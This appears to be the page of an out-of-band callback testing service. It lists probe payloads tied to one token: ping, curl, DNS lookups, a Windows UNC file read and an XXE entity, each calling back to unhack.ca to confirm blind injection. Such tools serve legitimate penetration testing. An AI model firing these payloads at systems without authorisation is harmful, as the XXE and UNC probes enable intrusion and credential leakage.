$ ping -c1 -p 001831fba9aae9522178a73e2fd04a00 unhack.ca
 
$ curl http://unhack.ca/p/1831fba9aae9522178a73e2fd04a
 
$ dig 1831fba9aae9522178a73e2fd04a @unhack.ca
 
$ dig 1831fba9aae9522178a73e2fd04a.ns.unhack.ca
 
C:\> nslookup 1831fba9aae9522178a73e2fd04a unhack.ca
 
C:\> type \\unhack.ca\1831fba9aae9522178a73e2fd04a\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1831fba9aae9522178a73e2fd04a">]>
    <foo>&xxe;</foo>
 
Waiting for ping...